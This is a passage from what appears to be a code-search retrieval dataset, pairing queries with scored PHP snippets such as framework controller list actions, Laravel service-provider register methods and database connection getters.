10);\n\n return $this->render($this->path_template.':index.html.twig', array('pagination' => $pagination, 'route_prefix'=>$this->route_prefix));\n }", "title": "" }, { "docid": "35f42e407939ea25f4a1c4444087457d", "score": "0.66101444", "text": "public function listAction()\n {\n $repository = $this\n ->getDoctrine()\n ->getManager()\n ->getRepository('AnimalBundle:Animal');\n\n $listAnimals = $repository->findAll();\n\n return $this->render('AnimalBundle:AnimalView:list.html.twig',\n array('listAnimals' => $listAnimals));\n }", "title": "" }, { "docid": "41589d7dcb96a7716421880c470b44b4", "score": "0.66068393", "text": "public function listar() {\n\t\t// Necessita estar logado\n\t\t$this->areaRestrita();\n\t\t// Carrega e Cria objeto LivroDAO e pega o livro através do ID solicitado.\n\t\t$this->carregar->model( 'LivroDAO' );\n\t\t$livroDAO = new LivroDAO();\n\t\t$livros = $livroDAO->getAll();\n\t\t// Configura dados para views\n\t\t$dados['titulo'] = 'Listagem de Livros';\n\t\t$dados['livros'] = $livros;\n\t\t// Carrega views e passa os dados\n\t\t$this->carregar->view( 'header', $dados );\n\t\t$this->carregar->view( 'livro-listagem', $dados );\n\t\t$this->carregar->view( 'footer', $dados );\n\t}", "title": "" }, { "docid": "6c7146b6de1d2af3d9e2d73c479e7aed", "score": "0.6595321", "text": "public function showList(){\n $data = $this->parent->getModel('students')->select(\"select * from students\");\n $this->getView('welcome', $data);\n }", "title": "" }, { "docid": "49a8b829d62fb46df0f6fe939a00450a", "score": "0.6590174", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\tif($page < 1) $page = 1;\n\t\t$perpage = $this->perpage;\n\t\t$search = $this->getInput(array('status', 'name'));\n\t\t$params = array();\n\t\tif ($search['name']) $params['name'] = array('LIKE',$search['name']);\n\t\tif ($search['status']) $params['status'] = $search['status'] - 1;\n\t\t\n\t\tlist($total, $apps) = Resource_Service_Apps::getList($page, $perpage,$params);\n\t\t$this->assign('total', $total);\n\t\t$this->assign('search', $search);\n\t\t$this->assign('apps', $apps);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'?'));\n\t\t\n\t}", "title": "" }, { "docid": "f1f43cdbf27fc281ff80e5815bb8570c", "score": "0.658782", "text": "public function index()\n {\n //\n $albums = Album::paginate();\n return AlbumIndexResource::collection($albums);\n }", "title": "" }, { "docid": "5c9e2a1b72736e4dcd1233a696308ec8", "score": "0.6582557", "text": "public function index()\n {\n $records = Record::paginate(10);\n return $this->response->paginator($records,new RecordTransformer());\n }", "title": "" }, { "docid": "d97fb91a2aee3ffda67b936f3ec1530c", "score": "0.65746504", "text": "public function listAction() {\n\t\ttry{\t\t\t\n\t\t\t// Code\n\t\t\t\n\t\t}catch (Exception $e){\n\t\t\tApplication_Model_Logging::lwrite($e->getMessage());\n\t\t\tthrow new Exception($e->getMessage());\n\t\t}\n\t}", "title": "" }, { "docid": "246c2fdf450c470dd098e3882419854d", "score": "0.6574552", "text": "public function index()\n {\n $accounts = Accounts::all()->sortBy('account_id');\n return AccountResource::collection($accounts);\n }", "title": "" }, { "docid": "ec0e4aa9e49eb0795b7e6a8be1b41989", "score": "0.6574522", "text": "public function index()\n {\n $articles = Article::all()->paginate();\n return ArticleResource::collection($articles);\n }", "title": "" }, { "docid": "218a3bcc6c3ba48283149f8614d45562", "score": "0.65740526", "text": "public function index() {\n\t\t$this->get ();\n\t}", "title": "" }, { "docid": "52d4724f47f90e2c76c949609866ae4f", "score": "0.6569384", "text": "public function index()\n {\n $activities = Activity::paginate(10);\n\n return ActivityResource::collection($activities);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.65643096", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "e128a7f6c946e062e77ee7d1989bf5d8", "score": "0.65632993", "text": "public function index()\n {\n $books = BookModel::readlist();\n\n View::render('books', [\n 'books' => $books,\n 'h1' => 'Gelezen boeken'\n ]);\n }", "title": "" }, { "docid": "fc610d852bef476f1af745c4c2af61e5", "score": "0.65593004", "text": "public function actionList() {\n\t\tif (Yii::$app->user->isGuest)\n\t\t\treturn $this->goHome();\n\n\t\t$this->view->title = 'Parkings';\n\n\t\ttry {\n\t\t\t$parkingService = $this->getService('Parking');\n\n\t\t\t$filter = $parkingService->getAmountOfParkings();\n\n\t\t\t$lists = $parkingService->getExtendedParkingsWithPagination();\n\n\t\t\treturn $this->render('list', array_merge($lists, $filter));\n\t\t} catch (Exception $e) {\n\t\t\tdie('You have reached an error');\n\t\t}\n\t}", "title": "" }, { "docid": "c6aa0bf17a52ccba8cef81895f7d4743", "score": "0.6558353", "text": "public function listAction()\n {\n $items = $this\n ->getDoctrine()\n ->getManager()\n ->getRepository('dabioRestBundle:Item')\n ->findAll();\n\n return new JsonResponse(\n (new EntityFormatter())->itemsArrayFormat($items)\n );\n }", "title": "" }, { "docid": "8054960a74546fc23b5d2f35f62311f9", "score": "0.655775", "text": "public function index()\n {\n\n $data = array(\n 'objects' => $this->campus_dao->findAll(),\n 'title' => 'Campus',\n 'heading' => 'List'\n );\n $this->load->view('/campus/list_campus.html.php', $data);\n }", "title": "" }, { "docid": "028d46f6e03fe91c0522d5be2a68c84a", "score": "0.65464103", "text": "public function index()\n {\n /** @var TodoListFilter $filter */\n $filter = app(TodoListFilter::class);\n /** @var Builder $filterQuery */\n $filterQuery = TodoList::filtered($filter);\n $todoLists = $filterQuery->get();\n return TodoListResource::collection($todoLists);\n }", "title": "" }, { "docid": "cd869da4373ca1c5aacd86ca9e044733", "score": "0.65443367", "text": "public function index() {\n\t\t$items = Item::orderby('id', 'desc')->get();\n\t\treturn view('back.item.itemList', compact('items'));\n\t}", "title": "" }, { "docid": "6ab14cbe951cf99431f26e856993aeb2", "score": "0.65421754", "text": "public function listAction()\n {\n $id = $this->params()->fromRoute('id');\n $result = [];\n if($id != null)\n {\n //$result = [$this->getEntryMapper()->find($id)];\n $result = [$this->entryService->findById($id)];\n }\n else \n {\n //$result = $this->getEntryMapper()->findAll();\n $result = $this->entryService->getList();\n\n }\n\n\n return new JsonModel($result);\n }", "title": "" }, { "docid": "55d08c8376aee349e27945fa819f675a", "score": "0.6540213", "text": "public function index()\n {\n $skills = $this->paginate($this->Skills);\n\n $this->set(compact('skills'));\n $this->set('_serialize', ['skills']);\n }", "title": "" }, { "docid": "bed8333589debc932ee4e761c485f848", "score": "0.6539858", "text": "public function index()\n {\n $menus = Menu::paginate(5);\n\n return MenuResource::collection($menus);\n }", "title": "" }, { "docid": "bc7e32d2dc7868c5cd4ab0e5ac368f4f", "score": "0.65352106", "text": "public function listAction() {\n $this->_datatable();\n return $this->render('BackendBundle:Stage:list.html.twig');\n }", "title": "" }, { "docid": "f852b02ada9624be17ccc6c0b233bca4", "score": "0.65288365", "text": "public function list()\n {\n }", "title": "" }, { "docid": "2624e2ced80d3c035b447f1814374386", "score": "0.65278465", "text": "public function indexAction()\n {\n $booksWithPagination = Book::getBooks();\n $books = $booksWithPagination[0];\n $pagination = $booksWithPagination[1];\n View::renderTemplate('Admin/Books/index.html.twig', [\n 'books' => $books,\n 'pagination' => $pagination,\n ]);\n }", "title": "" }, { "docid": "643a311a5374346f79ec6c6c8a6268ed", "score": "0.6525733", "text": "public function index()\n {\n $items = Item::all();\n return response([ 'items' => ItemResource::collection( $items ), 'message' => 'Retrieved successfully.'], 200);\n }", "title": "" }, { "docid": "e6ed7387b2f7ef94c4ddb847772440e7", "score": "0.652384", "text": "public function index()\n {\n $listings = Listing::with('users')->latest()->paginate(10);\n\n return view('listing.index', compact('listings'));\n }", "title": "" }, { "docid": "c233c1a42dce20a9ec5ced0ce2fbcab1", "score": "0.6521962", "text": "public function index()\n {\n // Get Companies\n $companies = Company::with('account')->orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of companies as a resource\n return CompanyResource::collection($companies);\n }", "title": "" }, { "docid": "c7fd0eccaead0fa95ba4acb733bc6a7b", "score": "0.6514799", "text": "public function index()\n\t\n\t{\t\n\t\t\n\t\t$data['lists'] = $this->mdl_visitor->get_all();\n\t\t$this->template->set('title', 'Visitor List');\n\t\t$this->template->load('template', 'contents', 'list', $data);\n\t}", "title": "" }, { "docid": "afe78dff3214bed74d61a58d722b860d", "score": "0.65146184", "text": "public function index()\n {\n $collections = Collection::all();\n return view(\"list.index\",compact(\"collections\"));\n }", "title": "" } ]
ac093d8259475b9889ec69c28d65b0fb
Register the service provider.
[ { "docid": "fd8dc9e0d0b94aa8aaaffd829ec8ec61", "score": "0.0", "text": "public function register()\n {\n $this->app->singleton('captcha', function ($app) {\n return new Factory($app);\n });\n\n $this->app->singleton('captcha.default', function ($app) {\n return $app['captcha']->drive();\n });\n\n $this->app->alias('captcha.default', 'Inoplate\\Captcha\\Challenge');\n }", "title": "" } ]
[ { "docid": "0d87ee6dd2f23b887ee2d120a1e147dc", "score": "0.7428265", "text": "public function register()\n {\n // Register the service the package provides.\n }", "title": "" }, { "docid": "807f2a70ce4e5464b4231d9e2e94534c", "score": "0.7254595", "text": "public function register()\n {\n $this->providers();\n\n }", "title": "" }, { "docid": "bf07a6ccbc1940e2be8abff91e94a2f6", "score": "0.71774215", "text": "public function register()\n {\n $this->registerServices();\n }", "title": "" }, { "docid": "0f4f84b956928f71f7a16f6acae26024", "score": "0.712882", "text": "public function register()\n {\n $this->registerProviders();\n }", "title": "" }, { "docid": "543587c544fdcb2e13a864150094d736", "score": "0.7053165", "text": "public function register()\n {\n $this->app->register(TelescopeServiceProvider::class);\n }", "title": "" }, { "docid": "58664eeba046725d1a4ca997a0bf8962", "score": "0.6969757", "text": "public function register()\n {\n // $this->app['filemanager'] = $this->app->share(function($app)\n // {\n // return new Datatables($app['request']);\n // });\n }", "title": "" }, { "docid": "d82b920fc78bef25c93915d5b92f3d27", "score": "0.6889005", "text": "public function register()\n\t{\n\t\t$this->registerFacadeAccess();\n\t}", "title": "" }, { "docid": "d9d1059fa02078e28d0dfd2e689a116c", "score": "0.6874101", "text": "public function register()\n {\n // Automatically apply the package configuration\n $this->mergeConfigFrom(__DIR__.'/../config/laravel-twitter-handle-validation.php', 'laravel-twitter-handle-validation');\n\n // Register the main class to use with the facade\n $this->app->singleton('laravel-twitter-handle-validation', function () {\n return resolve(LaravelTwitterHandleValidation::class);\n });\n }", "title": "" }, { "docid": "056fdd5ff79e46612e89a4fed5721c8b", "score": "0.68724096", "text": "public function register()\n {\n $this->registerViewFinder();\n\n $this->registerThemes();\n }", "title": "" }, { "docid": "883b9e435053547c481a49304498f5a4", "score": "0.68684393", "text": "public function register()\n {\n \n // register providers\n $this->registerCustomerAdapter();\n \n //finally call the customer class\n $this->registerCustomer();\n }", "title": "" }, { "docid": "296cfbb8b1217cf6f1b04a268a62feb7", "score": "0.6866025", "text": "public function register()\n {\n $this->loadConfigs(['assets.php', 'permissions.php']);\n $this->loadMigrationsFrom(__DIR__ . '/../Database/Migrations');\n\n $this->app->singleton(RecentlyViewed::class, function ($app) {\n return new RecentlyViewed(\n $app['session'],\n $app['events'],\n 'compare',\n session()->getId() . '_recently_viewed',\n config('baslat.module.compare.config')\n );\n });\n\n $this->app->alias(RecentlyViewed::class, 'recently_viewed');\n }", "title": "" }, { "docid": "fe26bbb7db29263ec6dd431a01425e2e", "score": "0.68586105", "text": "public function register()\n {\n //...\n }", "title": "" }, { "docid": "1972f1e6119d099f0641547ee996732c", "score": "0.68477494", "text": "public function register() {\n\n /** Theme uploader . */\n $this->app->singleton('theme-manager', function() {\n return new Uploader(\n new Finder\n );\n });\n\n /** Register caching theme . */\n $this->app->singleton('theme-repository', function() {\n return new Repository(\n new Finder\n );\n });\n\n /** Register theme manager service layer . */\n $this->app->singleton('theme-service', function($app) {\n return new ThemeService(\n $app['theme-repository'], $app['theme-manager']\n );\n });\n }", "title": "" }, { "docid": "70f5dc40294e4151c234a2b148148e49", "score": "0.68445903", "text": "public function register() {\n\n }", "title": "" }, { "docid": "bb1ae55924f2c5f142a7121b8c13b4be", "score": "0.6837879", "text": "public function register()\n {\n $this->mergeConfigFrom(__DIR__ . '/../config/permission.php', 'focus-permission');\n $this->app->singleton('focus-permission', function () {\n return new FocusPermission;\n });\n }", "title": "" }, { "docid": "1a91af7a6823db7b54da3db8d14bd0db", "score": "0.6825457", "text": "public function register()\r\n {\r\n $this->mergeConfigFrom(static::DEFAULT_CONFIG_PATH, 'telegrapher');\r\n\r\n $this->registerAuthenticator();\r\n\r\n $this->app->singleton(Stringifier::class, function (Application $application) {\r\n return new JSONStringifier();\r\n });\r\n\r\n $this->app->singleton(Signer::class, function (Application $application) {\r\n return new HMACSigner();\r\n });\r\n\r\n $this->app->singleton(\r\n \\Telegrapher\\Contracts\\Telegrapher::class,\r\n Telegrapher::class\r\n );\r\n }", "title": "" }, { "docid": "31568f2614a35437295bc0406ea65797", "score": "0.68248403", "text": "public function register()\n {\n //绑定单例\n $this->app->singleton('fileinput', function () {\n return new LaravelFileinput();\n });\n }", "title": "" }, { "docid": "4db599a8bbb2df19e85c56decc7874de", "score": "0.682302", "text": "public function register()\n {\n\n $this->registerValidator($this->app);\n\n $this->registerBillplz($this->app);\n\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "19dc464bbcbf7b12ae70537cfde7c917", "score": "0.681956", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "2ba0b2a799f1b45cc5624264846ff0d1", "score": "0.68139213", "text": "public function register()\n {\n $this->registerBindings();\n $this->registerApiManager();\n $this->registerCommands();\n }", "title": "" }, { "docid": "d398b71f220329dd544aa16db8176a62", "score": "0.6811868", "text": "public function register()\n {\n // merge in df config, https://laravel.com/docs/5.4/packages#resources\n $configPath = __DIR__ . '/../config/config.php';\n $this->mergeConfigFrom($configPath, 'df');\n\n $this->registerServices();\n $this->registerExtensions();\n $this->registerOtherProviders();\n }", "title": "" }, { "docid": "a303d5ea07c1c6911c9ea8b29ca103cf", "score": "0.68095255", "text": "public function register()\n {\n $this->registerAnnotations();\n }", "title": "" }, { "docid": "63d759f7016baa3e0a39f5b196d46f74", "score": "0.68062985", "text": "public function register()\n {\n $this->registerCommands();\n $this->registerSingleton();\n }", "title": "" }, { "docid": "01e14e570f67f8bdf7ffe545b17a2fd1", "score": "0.68010193", "text": "public function register() {\n\n\t\t//\n\t\t// IoC\n\t\t//\n\t\t$this->app->singleton('TippingCanoe\\LaravelOauth\\Service', function (Application $app) {\n\t\t\treturn new Service(\n\t\t\t\t$app['request'],\n\t\t\t\t$app['cache'],\n\t\t\t\t$app['TippingCanoe\\LaravelOauth\\Repository\\AccessToken'],\n\t\t\t\t$app['TippingCanoe\\LaravelOauth\\Repository\\Consumer'],\n\t\t\t\t$app['config']->get('laravel-oauth::nonce_ttl'),\n\t\t\t\t$app['config']->get('app.debug')\n\t\t\t);\n\t\t});\n\n\t\t// Bind our repositories;\n\t\t$this->app->bind('TippingCanoe\\LaravelOauth\\Repository\\AccessToken', 'TippingCanoe\\LaravelOauth\\Repository\\DbAccessToken');\n\t\t$this->app->bind('TippingCanoe\\LaravelOauth\\Repository\\Consumer', 'TippingCanoe\\LaravelOauth\\Repository\\DbConsumer');\n\n\t\t//\n\t\t// Commands\n\t\t//\n\t\t$this->commands(\n\t\t\t'TippingCanoe\\LaravelOauth\\Command\\AddConsumerCommand'\n\t\t);\n\n\t\t//\n\t\t// Filters\n\t\t//\n\t\t$this->app['router']->filter('oauth-consumer', 'TippingCanoe\\LaravelOauth\\Filter\\Consumer');\n\t\t$this->app['router']->filter('oauth-access', 'TippingCanoe\\LaravelOauth\\Filter\\Access');\n\n\t}", "title": "" }, { "docid": "e96fa1ffb98bb04edced1c92d6782a8d", "score": "0.6798643", "text": "public function register() {\n\t\t$this->registerProviders();\n\t\t$this->registerAuthManager();\n\t\t$this->registerFacades();\n\t}", "title": "" }, { "docid": "0e63952d7c49509c477bd6b8a11c8f0c", "score": "0.6795637", "text": "public function register()\n {\n $this->app->register(UploadManagerServiceProvider::class);\n }", "title": "" }, { "docid": "5d6c28e362ca9230d655d8e56d01f374", "score": "0.6794911", "text": "public function register()\n {\n $this->setupRoutes();\n $loader = \\Illuminate\\Foundation\\AliasLoader::getInstance();\n $loader->alias('AdminPanel', \\Qla\\AdminPanel\\AdminPanelServiceProvider::class);\n\n\n// \\App::singleton(\n//\n// \\Qla\\AdminPanel\\app\\Exceptions\\Handler::class\n// );\n\n\n// $this->app->register('Kodeine\\Acl\\AclServiceProvider');\n }", "title": "" }, { "docid": "135ba98bd73cb6d12da4468607b63fc7", "score": "0.67927927", "text": "public function register()\r\n {\r\n $this->registerConfig();\r\n\r\n $this->app['auth']->provider('modx_user_provider', function($app, array $config) {\r\n return new ModxUserProvider(new ModxHasher, modUser::class);\r\n });\r\n\r\n $this->app->singleton(ModxCMS::class, function ($app) {\r\n return new ModxCMS;\r\n });\r\n }", "title": "" }, { "docid": "e76398f9d310271c3b76018105ff77ac", "score": "0.6791718", "text": "public function register()\n {\n $this->registerClient();\n $this->registerCachingClient();\n }", "title": "" }, { "docid": "a9544c11876c663b2076cb71fa0e29a3", "score": "0.67904466", "text": "public function register()\n {\n $this->registerServices();\n $this->setupStubPath();\n $this->registerProviders();\n }", "title": "" }, { "docid": "6cd0025de4a8201f6e475c42414c2ed5", "score": "0.67874855", "text": "public function register()\n {\n $this->registerWeixin();\n $this->registerFacade();\n //$this->registerBindings();\n }", "title": "" }, { "docid": "c7b7ea75f91ae43bbe1572f56dbd0502", "score": "0.67874634", "text": "public function register()\n {\n \n }", "title": "" }, { "docid": "c7b7ea75f91ae43bbe1572f56dbd0502", "score": "0.67874634", "text": "public function register()\n {\n \n }", "title": "" }, { "docid": "36fd7bf8229cec2d59f40811cb5698ae", "score": "0.6782862", "text": "public function register()\n\t{\n\t\t$this->registerExtensionsFinder();\n\t\t$this->registerExtensions();\n\t}", "title": "" }, { "docid": "e46cf4e5812d9bbc879a8146080ae800", "score": "0.67758876", "text": "public function register()\n {\n //only need when using facade\n $this->app->singleton('optivo', function ($app) {\n return new Optivo(new Client(), $app['config']);\n });\n }", "title": "" }, { "docid": "cb918d8d97b585310f1b375c03e88adb", "score": "0.67712635", "text": "public function register()\n\t{\n $this->package('ecjia/system');\n\n $this->registerNamespaces();\n\n $this->registerProviders();\n\n $this->registerLocalProviders();\n\n $this->registerFacades();\n\n $this->registerMixins();\n\n $this->registerAppService();\n\n $this->registerErrorRender();\n\t}", "title": "" }, { "docid": "e17f9e8b00de710981676d40b5d3c151", "score": "0.67701685", "text": "public function register()\n {\n $this->registerClient();\n }", "title": "" }, { "docid": "7b0b2fdf15b01060e5e75c7fd13e3c23", "score": "0.67689294", "text": "public function register() {\n //\n }", "title": "" }, { "docid": "81093ff516e6fb66bf20039ef51f23f2", "score": "0.6762759", "text": "public function register()\n {\n $this->configure();\n }", "title": "" }, { "docid": "81093ff516e6fb66bf20039ef51f23f2", "score": "0.6762759", "text": "public function register()\n {\n $this->configure();\n }", "title": "" }, { "docid": "b4e4d13cfaeda6f13dadbabf1779f68f", "score": "0.67626166", "text": "public function register()\n {\n $this->registerTidioChat();\n }", "title": "" }, { "docid": "340523f42f61544bcf8e027a97990673", "score": "0.67618024", "text": "public function register()\n {\n //验证签名\n $this->app->singleton('sequence', function ($app) {\n return new Sequence(1);\n });\n\n\n //阿里地图接口\n $this->app->singleton('amap', function ($app) {\n return new Amap($app);\n });\n }", "title": "" }, { "docid": "786a37588fa2ce54f69c03b0aeb93583", "score": "0.67602617", "text": "public function register()\n {\n $this->app->singleton(\n XmlServicesInterface::class,\n XmlServices::class\n );\n }", "title": "" }, { "docid": "8af344f37cede8689b8c74a4a690dae5", "score": "0.6751206", "text": "public function register(): void\n {\n // Automatically apply the package configuration\n $this->mergeConfigFrom(__DIR__ . '/../config/config.php', 'laravel-interface-translation');\n\n // Register the main class to use with the facade\n $this->app->singleton(LaravelInterfaceTranslation::class, function () {\n return new LaravelInterfaceTranslation();\n });\n }", "title": "" }, { "docid": "44e2af131f4429072e6356d53d8aaa2c", "score": "0.67504245", "text": "public function register() {\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" }, { "docid": "3a239677d5bf39422d95c11ca6845fa5", "score": "0.6749705", "text": "public function register()\n {\n //\n }", "title": "" } ]
956c2e6682402f5b4f1c7ee060aaa0bb
Retrieve a connection associated with the specified name.
[ { "docid": "ab829a3878ab10e584f24630a11be4e7", "score": "0.82531166", "text": "public static function get($name)\n {\n if (array_key_exists($name, self::$connections)) {\n return self::$connections[$name];\n }\n }", "title": "" } ]
[ { "docid": "96929c97e2ffaf3908915598ad4708ed", "score": "0.8244095", "text": "public function get_connection($name = '')\n\t{\n\t\t// If the paramater is a string, use it as an array index\n\t\tif (is_scalar($name) && isset($this->connections[$name]))\n\t\t{\n\t\t\treturn $this->connections[$name];\n\t\t}\n\t\telseif (empty($name) && ! empty($this->connections)) // Otherwise, return the last one\n\t\t{\n\t\t\treturn end($this->connections);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tthrow new \\InvalidArgumentException(\"The specified connection does not exist\");\n\t\t}\n\t}", "title": "" }, { "docid": "fb6a2c7a185237137d234ed730bd7b62", "score": "0.81986004", "text": "public function getConnectionByName($name)\n\t{\n\t\tforeach ($this->elements['connections'] as $key => $conn) {\n\t\t\tif ($conn->getName() == $name)\n\t\t\t\treturn $conn;\n\t\t}\n\n\t\tthrow new \\Exception(\"Connection not found\", 404);\t\t\t\n\t}", "title": "" }, { "docid": "9111e39419a3f4127f3441001fa7a247", "score": "0.8187877", "text": "public function getConnection($name)\n {\n if (!isset($this->connections[$name])) {\n throw new \\InvalidArgumentException(sprintf('Connection name \"%s\" does not exist in the list', $name));\n }\n\n return $this->connections[$name];\n }", "title": "" }, { "docid": "34d7b2ae3e59ac09346e891e67058c7d", "score": "0.79259676", "text": "public function connection($name = null)\n {\n $name = $name ?: 'default';\n\n if (isset($this->clients[$name])) {\n return $this->clients[$name];\n }\n }", "title": "" }, { "docid": "5b7b8480f0f8c0b76b84896a36019447", "score": "0.7853299", "text": "protected function getConnection($name = 'default')\n {\n if (!$this->connections) {\n $this->findConnections();\n }\n\n if (empty($this->connections[$name])) {\n $this->connections[$name] = \\Propel::getConnection($name);\n }\n\n return isset($this->connections[$name])\n ? $this->connections[$name]\n : null\n ;\n }", "title": "" }, { "docid": "feaaa04429b921cc461b0875ec239d6b", "score": "0.7848997", "text": "public function getConnection(string $name): ConnectionInterface;", "title": "" }, { "docid": "f2e31c807fbdb5489ae206f861bd543c", "score": "0.7811445", "text": "public function connection($name = null)\n {\n $name = $name ?: $this->getDefaultConnection();\n\n if (! $this->isPoolConnection($name)) {\n return parent::connection($name);\n }\n\n if ($connection = $this->getConnectionFromContext($name)) {\n return $connection;\n }\n\n return $this->getConnectionFromPool($name);\n }", "title": "" }, { "docid": "e25df7bc7320dfb32c8ba280434f009e", "score": "0.7663177", "text": "public function getConnection(?string $name = null): Connection\n {\n return $this->manager->connection($name);\n }", "title": "" }, { "docid": 